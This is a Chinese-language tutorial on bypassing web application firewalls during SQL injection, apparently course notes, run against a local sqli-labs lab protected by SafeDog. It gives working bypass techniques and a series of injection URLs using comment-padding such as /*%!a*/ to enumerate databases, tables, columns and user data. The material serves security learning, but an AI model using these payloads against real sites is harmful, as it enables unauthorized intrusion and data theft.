8. 网易web安全渗透, sql注入waf绕过
waf也叫做:网站应用级入侵防御系统
waf绕过原理
白盒waf绕过原理
代码
1 | function blacklist($id) |
可以看到blacklist()函数里面过滤了去ADN和OR还有一个i意思是大小写都可以
像上面的我们家可以用
and改成&&
or改成||
如果没有添加i就可以用大小写绕过了
就可以解决了
黑盒绕过waf
架构层绕过
- 云WAF绕过
云WAF的原理图
我们绕过就只需要找到真正的服务器就可以了 - 同网段绕过

我们想办法进入到内网就可以解决了
资源限制绕过WAF
他的意思就是,如果用户发送特别大的数据包
应为WAF过滤大的数据包会变的缓慢,所以就减少过滤大的数据包的内容
黑客就可以进行在大的数据包里面写入sql语句进行注入
协议层面绕过WAF的检查
协议未覆盖绕过WAF
比如
GET改成POTS有点就可以绕过了猜数污染绕过WAF
比如一个URL地址是http://xxxxx/a?id=1
我们可以用http://xxxxx/a?id=1&id=2
有的WEB服务器要的是最后一个猜数id=2
有的WAF他之过滤第一个猜数id=1
这样就可以绕过了WAF了
常见的绕过方法(规则层面的绕过)原理
sql注释符来绕过
简单的注释来绕过WAF
有的WAF对union select进行防御
我们就可以用下面方法来进行注入了
比如1 union/**/select
他的语句是
1 | SELECT * FROM users WHERE id=1 union/**/ select 1,2,3 ; |
结果![]()
其他的注释绕过的语句
1 | union/*aaaaa%01bbs*/select |
空白符绕过
mysql空白符
1 | %20 %09 %0a %0b %0d %0C %a0 %00 /**/ /*!*/ |
![]()
正则空白符
1 | %20 %09 %0a %0b %0d |
咧.1
1 | union%250cselect |
![]()
%25=%
0=0
c=c
他就是%0c他就是空
咧.2
1 | union%25a0select |
%25a0=%a0
%a0就是空
![]()
函数分割符号绕过WAF
WAF可能会对数据库敏感函数进行防御
比如
1 | version() mysql数据库版本 |
绕过方法
我们就可以用
1 | concat/**/() |
浮点型的进行绕过WAF
有点WAF会过滤int行动字符行的,都是他过滤不了浮点型的
1 | SELECT * FROM users WHERE id=8EOunion select 1,2,3 ; |
利用报错注入进行过滤waf
应为报错注入会出现不常见的mysql函数
这个就不多说了
mysql特殊语法绕过WAF
实战绕过waf
找寻是否存在sql注入
这个我用的是安全狗
我输入
1 | http://192.168.31.94/Less-1/?id=1 and 1=1 |
他就会拦截![]()
进行fuzz过滤waf
用Burp进行fuzz过滤waf
![]()
添加特殊字符进行fuzz
其他不常用的字符也可以
这个我用的是下面的字符
1 | a1!%('&/* |
![]()
结果
可以看到很多都是被过滤了
![]()
在浏览器看一下
是呗过滤了![]()
看一下其他响应的大小来查询fuzz
看到语法报错了![]()
在浏览器上查看一下![]()
可以看到现在显示正常![]()
在浏览器看一下
显示正常![]()
URL是
1 | http://192.168.31.94/Less-1/?id=1'/*%!*/and/*%!*/1=1/*%!*/--+ |
我们修改成2看看
URL是
1 | http://192.168.31.94/Less-1/?id=1'/*%!*/and/*%!*/1=2/*%!*/--+ |
发现/*%!*/是可以绕过waf的![]()
上面fuzz出来能绕过waf的字符
1 | ?id=1'/*!*/and/*!*/1=1/*!*/--+ |
ORDER BY 判断列数
我用上面的的fuzz出来的用着ORDER BY函数发现不能用![]()
在进行fuzz
其他不常用的字符也可以![]()
这个我用的是下面的字符
1 | a1!%('&/* |
只要是有空格都进行fuzz![]()
也是有很多呗过滤了![]()
![]()
也有语法错误的![]()
![]()
查看没有被过成功执行的也有很多
URL是
1 | 192.168.31.94/Less-1/?id=1'/*%!a*/ORDER/*%!a*/BY/*%!a*/1/*%!a*/--+ |
![]()
![]()
判断列数
输入4发现就报错了,那这样就判断出来,字段是有3个
输入第3个可以看到正常显示
URL地址
1 | http://192.168.31.94/Less-1/?id=1'/*%!a*/ORDER/*%!a*/BY/*%!a*/3/*%!a*/--+ |
![]()
输入第4个就报错了
URL地址
1 | http://192.168.31.94/Less-1/?id=1'/*%!a*/ORDER/*%!a*/BY/*%!a*/4/*%!a*/--+ |
![]()
被绕过的字符
1 | ?id=1'/*%!aa*/ORDER/*%!aa*/BY/*%!aa*/1/*%!aa*/--+ |
观察页面返回,选择可以显示数据的位置,进行下一步的注入
通过上面的fuzz出来的/*%!a*/也可以在union select 1,2,3用还是可以绕过的
URL地址
1 | http://192.168.31.94/Less-1/?id=-1'/*%!a*/union/*%!a*/select/*%!a*/1,2,3/*%!a*/--+ |
结果是2和3![]()
读取库的信息
读取用户名
还是用的/*%!a*/绕过waf
URL地址
1 | http://192.168.31.94/Less-1/?id=-1'/*%!a*/union/*%!a*/select/*%!a*/1,user(),3/*%!a*/--+ |
发现添加了user()被拦截了![]()
我们上面在()后面添加/*%!a*/变成了user/*%!a*/()
发现可以完美绕过![]()
其他的方法
读取当前目录
这个@@datadir函数waf没有被过滤
URL地址
1 | http://192.168.31.94/Less-1/?id=-1'/*%!a*/union/*%!a*/select/*%!a*/1,@@datadir,3/*%!a*/--+ |
![]()
系统版本
这个@@version_compile_os函数也waf也是没有过滤的
URL地址
1 | http://192.168.31.94/Less-1/?id=-1'/*%!a*/union/*%!a*/select/*%!a*/1,@@version_compile_os,3/*%!a*/--+ |
![]()
读取数据
查看数据库名
还是用/*%!a*/来绕过waf
查询数据库的语句
1 | (select schema_name from information_schema.schemata LIMIT 0,1) |
URL地址
1 | http://192.168.31.94/Less-1/?id=-1'/*%!a*/union/*%!a*/select/*%!a*/1,(select/*%!a*/schema_name/*%!a*/from/*%!a*/information_schema.schemata/*%!a*/LIMIT 0,1),3/*%!a*/1--+ |
可以看到查询出来了![]()
用group_concat()函数读取全部的数据库名
应为有很多数据库他只能显示一个,所以用group_concat()叫所以库名都显示到一列中
URL地址
1 | http://192.168.31.94/Less-1/?id=-1'/*%!a*/union/*%!a*/select/*%!a*/1,(select/*%!a*/group_concat(schema_name)/*%!a*/from/*%!a*/information_schema.schemata/*%!a*/LIMIT 0,1),3/*%!a*/--+ |
结果可以看到已经显示出来的全部的数据库
![]()
读取查表
通过上面的查询库名知道了数据库名
语句
1 | (select group_concat(table_name) from information_schema.tables where table_schema='上面查询出来的数据库名') |
还是全部的空格都替换成/*%!a*/
URL地址
1 | http://192.168.31.94/Less-1/?id=-1%27/*%!a*/union/*%!a*/select/*%!a*/1,(select/*%!a*/group_concat(table_name)/*%!a*/from/*%!a*/information_schema.tables/*%!a*/where/*%!a*/table_schema='security'),3/*%!a*/--+ |
结果成功叫读取查表![]()
查询列
通过上面的查询查询出来了库和表
通过上面的表查询列
语句
1 | (select group_concat(column_name) from information_schema.columns where table_name='表名') |
还是全部的空格都替换成/*%!a*/
URL地址
1 | http://192.168.31.94/Less-1/?id=-1%27/*%!a*/union/*%!a*/select/*%!a*/1,(select/*%!a*/group_concat(column_name)/*%!a*/from/*%!a*/information_schema.columns/*%!a*/where/*%!a*/table_name='users'),3/*%!a*/--+ |
结果查询出来了列![]()
读取数据
通过上面的注入,知道了库,表,列
知道了全部就可以查询数据了
语句
1 | select 列名 from 库名.表名 |
结果已经读取到数据库数据![]()






